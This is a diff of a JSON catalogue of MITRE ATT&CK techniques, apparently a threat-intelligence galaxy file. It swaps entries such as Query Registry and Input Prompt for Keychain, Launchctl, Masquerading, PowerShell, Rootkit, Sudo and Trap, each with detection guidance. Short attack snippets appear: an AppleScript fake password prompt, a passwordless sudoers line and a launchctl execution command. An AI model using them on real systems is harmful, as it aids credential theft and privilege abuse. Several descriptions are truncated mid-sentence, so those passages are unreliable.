"mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", "MacOS", "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1102", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + "https://attack.mitre.org/wiki/Technique/T1142", + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", + "https://en.wikipedia.org/wiki/Keychain%20(software)" ], - "uuid": "830c9528-df21-472c-8c14-a036bf17d665" + "uuid": "38cfae40-42c8-431e-8cb7-0f14b2ce0e86" }, - "value": "Web Service" + "value": "Keychain" }, { - "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1012", - "https://en.wikipedia.org/wiki/Windows%20Registry" - ], - "uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896" - }, - "value": "Query Registry" - }, - { - "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Third-party application logs, Windows Registry, Process monitoring, Process use of network, Binary file metadata", + "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made [[Citation: Sofacy Komplex Trojan]]. Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1152", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + ], + "uuid": "bff9f35b-6231-450f-b657-4745870a9462" + }, + "value": "Launchctl" + }, + { + "description": "Masquerading occurs when an executable, legitimate or malicious, is placed in a commonly trusted location (such as C:\\Windows\\System32) or named with a common name (such as \"explorer.exe\" or \"svchost.exe\") to bypass tools that trust executables by relying on file name or path. An adversary may even use a renamed copy of a legitimate utility, such as rundll32.exe.[[Citation: Endgame Masquerade Ball]] Masquerading also may be done to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity.[[Citation: Endgame Masquerade Ball]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nContributors: ENDGAME", "meta": { "mitre_data_sources": [ "File monitoring", - "Third-party application logs", - "Windows Registry", "Process monitoring", - "Process use of network", "Binary file metadata" ], "mitre_platforms": [ @@ -4777,110 +4886,19 @@ "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1072" + "https://attack.mitre.org/wiki/Technique/T1036", + "https://www.endgame.com/blog/how-hunt-masquerade-ball" ], - "uuid": "92a78814-b191-47ca-909c-1ccfe3777414" + "uuid": "42e8de7b-37b2-4258-905a-6897815e58e0" }, - "value": "Third-party Software" + "value": "Masquerading" }, { - "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring", + "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.[[Citation: TechNet PowerShell]] Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire,[[Citation: Github PowerShell Empire]] PowerSploit,[[Citation: Powersploit]] and PSAttack.[[Citation: Github PSAttack]]\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution.[[Citation: Malware Archaeology PowerShell Cheat Sheet]] PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.[[Citation: FireEye PowerShell Logging 2016]] An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters", "meta": { "mitre_data_sources": [ + "Windows Registry", "File monitoring", - "Packet capture", - "Process use of network", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1105", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add" - }, - "value": "Remote File Copy" - }, - { - "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools.PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring", - "meta": { - "mitre_data_sources": [ - "API monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1006", - "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1", - "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin" - ], - "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5" - }, - "value": "File System Logical Offsets" - }, - { - "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1051" - ], - "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db" - }, - "value": "Shared Webroot" - }, - { - "description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Sensor health and status, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Sensor health and status", "Process monitoring", "Process command-line parameters" ], @@ -4899,70 +4917,25 @@ "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1054" + "https://attack.mitre.org/wiki/Technique/T1086", + "https://github.com/PowerShellEmpire/Empire", + "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", + "https://github.com/mattifestation/PowerSploit", + "https://github.com/jaredhaight/PSAttack", + "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", + "https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html" ], - "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df" + "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0" }, - "value": "Indicator Blocking" + "value": "PowerShell" }, { - "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\nset thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")\n[[Citation: OSX Keydnap malware]]\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.[[Citation: OSX Malware Exploits MacKeeper]]\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: MacOS, OS X\n\nData Sources: User interface, Process Monitoring", + "description": "Rootkits are programs that hide the existence of malware by intercepting and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware.[[Citation: Wikipedia Rootkit]]\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components.\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.[[Citation: Wikipedia Rootkit]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: BIOS, MBR, System calls", "meta": { "mitre_data_sources": [ - "User interface", - "Process Monitoring" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1141", - "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html" - ], - "uuid": "cbd1028b-eeac-40bd-b86e-0430f4e127a9" - }, - "value": "Input Prompt" - }, - { - "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Data loss prevention, File monitoring", - "meta": { - "mitre_data_sources": [ - "Data loss prevention", - "File monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1052" - ], - "uuid": "e6415f09-df0e-48de-9aba-928c902b7549" - }, - "value": "Exfiltration Over Physical Medium" - }, - { - "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.Net on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.Scheduled Task[[Citation: RSA EU12 They're Inside]], or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "API monitoring" + "BIOS", + "MBR", + "System calls" ], "mitre_platforms": [ "Windows Server 2003", @@ -4979,86 +4952,40 @@ "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1124", - "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings", - "https://msdn.microsoft.com/ms724961.aspx", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf" + "https://attack.mitre.org/wiki/Technique/T1014", + "https://en.wikipedia.org/wiki/Rootkit" ], - "uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077" + "uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" }, - "value": "System Time Discovery" + "value": "Rootkit" }, { - "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API.[[Citation: Wikipedia Windows Library Files]]\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n*via in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.\n\nDetection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nContributors: Stefan Kanthak", + "description": "The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters", "meta": { "mitre_data_sources": [ "Process Monitoring", - "API monitoring", "File monitoring", - "DLL monitoring" + "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1129", - "https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files" - ], - "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65" - }, - "value": "Execution through Module Load" - }, - { - "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.[[Citation: Wikipedia Root Certificate]] Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.[[Citation: Operation Emmental]]\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications.[[Citation: Kaspersky Superfish]]\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nContributors: Itzik Kotler, SafeBreach", - "meta": { - "mitre_data_sources": [ - "SSL/TLS inspection", - "Digital Certificate Logs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10" + "MacOS", + "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1130", - "https://en.wikipedia.org/wiki/Root%20certificate", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", - "https://usblog.kaspersky.com/superfish-adware-preinstalled-on-lenovo-laptops/5161/" + "https://attack.mitre.org/wiki/Technique/T1153" ], - "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1" + "uuid": "d1be72cb-6893-4ca4-82d2-0c58f7dafde4" }, - "value": "Install Root Certificate" + "value": "Source" }, { - "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring", + "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit[[Citation: Metasploit]], Veil[[Citation: Veil]], and PowerSploit[[Citation: Powersploit]] are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell.[[Citation: Alperovitch 2014]]\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [[Discovery]], [[Collection]], or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters", "meta": { "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" + "Process monitoring", + "File monitoring", + "Process command-line parameters" ], "mitre_platforms": [ "Windows Server 2003", @@ -5078,12 +5005,85 @@ "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1030", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + "https://attack.mitre.org/wiki/Technique/T1064", + "http://www.metasploit.com", + "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", + "https://www.veil-framework.com/framework/", + "https://github.com/mattifestation/PowerSploit" ], - "uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd" + "uuid": "7fd87010-3a00-4da3-b905-410525e8ec44" }, - "value": "Data Transfer Size Limits" + "value": "Scripting" + }, + { + "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL[[Citation: OSX.Dok Malware]]. \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: root", + "meta": { + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1169", + "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + ], + "uuid": "809ff990-982f-4997-8570-a6f516e8fede" + }, + "value": "Sudo" + }, + { + "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1154" + ], + "uuid": "4e0157fe-5e38-4f35-a6b1-f0c43d2e9f62" + }, + "value": "Trap" + }, + { + "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools.[[Citation: WindowsIR Anti-Forensic Techniques]]\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified.[[Citation: WindowsIR Anti-Forensic Techniques]] It may be possible to detect timestomping using file modification 